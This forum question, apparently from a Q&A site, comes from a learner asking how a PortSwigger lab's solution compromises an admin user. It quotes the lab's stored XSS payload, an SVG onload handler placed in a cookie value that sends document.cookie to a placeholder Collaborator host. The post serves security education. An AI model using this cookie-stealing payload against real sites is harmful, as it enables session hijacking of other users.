I was checking out this Portswigger lab:
https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures
And basically the solution is to modify your cookie-s value to:
‘”><svg/onload=fetch(//YOUR-COLLABORATOR-PAYLOAD/${encodeURIComponent(document.cookie)}
)>:YOUR-SESSION-ID
and then sending a get request with this cookie which solves the lab because an admin user will make a get request to the collaboration tool so you will see his cookie in a request path in the logs.
My question is how this attack worked in practice? I mean how the admin user was exploited? The admin viewed some kind of logs or how is editing my cookie effected an another user?
Thank you very much
my8833 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.